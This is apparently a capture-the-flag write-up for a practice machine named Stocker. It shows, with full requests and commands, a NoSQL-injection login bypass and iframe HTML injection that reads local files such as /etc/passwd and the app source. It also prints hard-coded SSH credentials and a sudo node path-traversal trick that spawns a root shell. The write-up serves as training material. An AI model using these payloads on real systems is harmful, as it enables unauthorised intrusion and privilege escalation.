The Stocker machine required us enumerating subdomains to locate the ‘dev’ subdomain. Through a NoSQL injection (NOSQLi) vulnerability, we bypassed the login screen. This granted us access to a store where we exploited an XSS vulnerability to execute arbitrary file reads. By retrieving the source code, we discovered hard-coded credentials, enabling SSH access. Further exploration revealed the ability to run ’node’ as ‘sudo’ without a password, allowing us to spawn a root shell and obtain root privileges.

Recon

The HTTP service has as its domain stocker.htb, by changing the /etc/hosts file, we will be able to reach it.

nmap (TCP all ports)

nmap finds two open TCP ports, SSH (22) and a HTTP server (80):

$ nmap -p- stocker.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-30 09:23 WET
Nmap scan report for stocker.htb (10.129.222.225)
Host is up (0.053s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 25.77 seconds

$

nmap (found TCP ports exploration)

$ nmap -sC -sV stocker.htb -p 22,80
Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-30 09:24 WET
Nmap scan report for stocker.htb (10.129.222.225)
Host is up (0.046s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-generator: Eleventy v2.0.0
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Stock - Coming Soon!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.58 seconds

$ 

HTTP - TCP 80

Technologies used:

By checking the webpage presented to us with Wappalyzer, we can get to know what technologies are being used:

Landing page

The following landing page is presented to us after arriving at the root directory for the stocker.htb domain.

Subdomain Enumeration

After enumerating the subdomains with the ffuf tool, we are able to discover a new service running within the HTTP service:

$ ffuf -H "Host: FUZZ.stocker.htb" -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://stocker.htb -fs 178

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://stocker.htb
 :: Wordlist         : FUZZ: /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.stocker.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

dev                     [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 54ms]
:: Progress: [100000/100000] :: Job [1/1] :: 759 req/sec :: Duration: [0:02:09] :: Errors: 0 ::
$ 

Shell as angoose

Login bypass

In the dev subdomain we are presented with a login page, the login page is vulnerable to NOSQLi, enabling us to bypass the login.

NoSQL Injection

The following request enables us to bypass the login as the user admin.

POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 55
Origin: http://dev.stocker.htb
DNT: 1
Connection: close
Referer: http://dev.stocker.htb/login
Cookie: connect.sid=s%3At1RoN8l3J5TXBVpzlWLQ2rfY1mm9W0aR.RZZ%2FpBomOou3FDIfm4298PzwApTWOYsLZXnIIj5jVgc
Upgrade-Insecure-Requests: 1

{"username":{"$ne":"admin"}, "password":{"$ne":"pass"}}

Stock page

After login we are presented with a small store page. In this page we can see the stock of some of the items available.

Submit Purchase

After submitting a purchase we are presented with a basket JSON array as follows:

This array is later used to build a receipt for the purchase.

Tamper title

By tampering with the basket array we are able to get the /etc/passwd file. The request will take advantage of a XSS vulnerability present within the receipt to show us the content of a local file, in this case the file will be shown in an iframe.

POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Content-Length: 163
Origin: http://dev.stocker.htb
DNT: 1
Connection: close
Cookie: connect.sid=s%3At1RoN8l3J5TXBVpzlWLQ2rfY1mm9W0aR.RZZ%2FpBomOou3FDIfm4298PzwApTWOYsLZXnIIj5jVgc

{
  "basket": [
    {
      "_id": "638f116eeb060210cbd83a8f",
      "title": "<iframe width=900 height=900 src=file:///etc/passwd></iframe>",
      "description": "It's a rubbish bin.",
      "image": "bin.jpg",
      "price": 76,
      "currentStock": 15,
      "__v": 0,
      "amount": 1
    }
  ]
}
Get /etc/passwd

After requesting the receipt we are able to see the iframe with the file contents:

Get MongoDB credentials

Now that we are able to get arbitrary files read we can try to get the web application source code, this will enable us to check if any hard coded credentials are used.

Title payload

The following request will request the source code present within the server, in this case the file is /var/www/dev/index.js.

POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Content-Length: 163
Origin: http://dev.stocker.htb
DNT: 1
Connection: close
Cookie: connect.sid=s%3At1RoN8l3J5TXBVpzlWLQ2rfY1mm9W0aR.RZZ%2FpBomOou3FDIfm4298PzwApTWOYsLZXnIIj5jVgc

{
  "basket": [
    {
      "_id": "638f116eeb060210cbd83a8f",
      "title": "<iframe width=900 height=900 src=file:///var/www/dev/index.js></iframe>",
      "description": "It's a rubbish bin.",
      "image": "bin.jpg",
      "price": 76,
      "currentStock": 15,
      "__v": 0,
      "amount": 1
    }
  ]
}
Response

If we check the receipt once again, we are present with source code where some hard coded credentials are found.

Credentials found

angoose:IHeardPassphrasesArePrettySecure

SSH

SSH login with found credentials

By using the found credentials found for the user angoose we can successfully login through SSH:

$ ssh angoose@stocker.htb
angoose@stocker.htb's password: 

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

angoose@stocker:~$ 

Shell as root

Enumeration

Sudo commands

By enumerating the commands that the user angoose is able to execute within the machine with root priveleges we are able to find the following:

angoose@stocker:~$ sudo -l
[sudo] password for angoose: 
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js
angoose@stocker:~$ 

Exploiting sudo command

The /usr/bin/node command that we are able to used is an “asynchronous event-driven JavaScript runtime”, this means that we are able to run JavaScript with root permitions.

Payload

To take advantage of the privilege misconfiguration we can just create a .js file that invokes /usr/bin/bash enabling us to get a root shell.

angoose@stocker:~$ vim shell.js
angoose@stocker:~$ cat shell.js 
const fs = require("child_process").spawn("/usr/bin/bash", {stdio: [0, 1, 2]})
angoose@stocker:~$ 

Obtain root

Finally by executing the script with sudo we can obtain root privileges:

angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../../home/angoose/shell.js
root@stocker:/home/angoose# id
uid=0(root) gid=0(root) groups=0(root)
root@stocker:/home/angoose#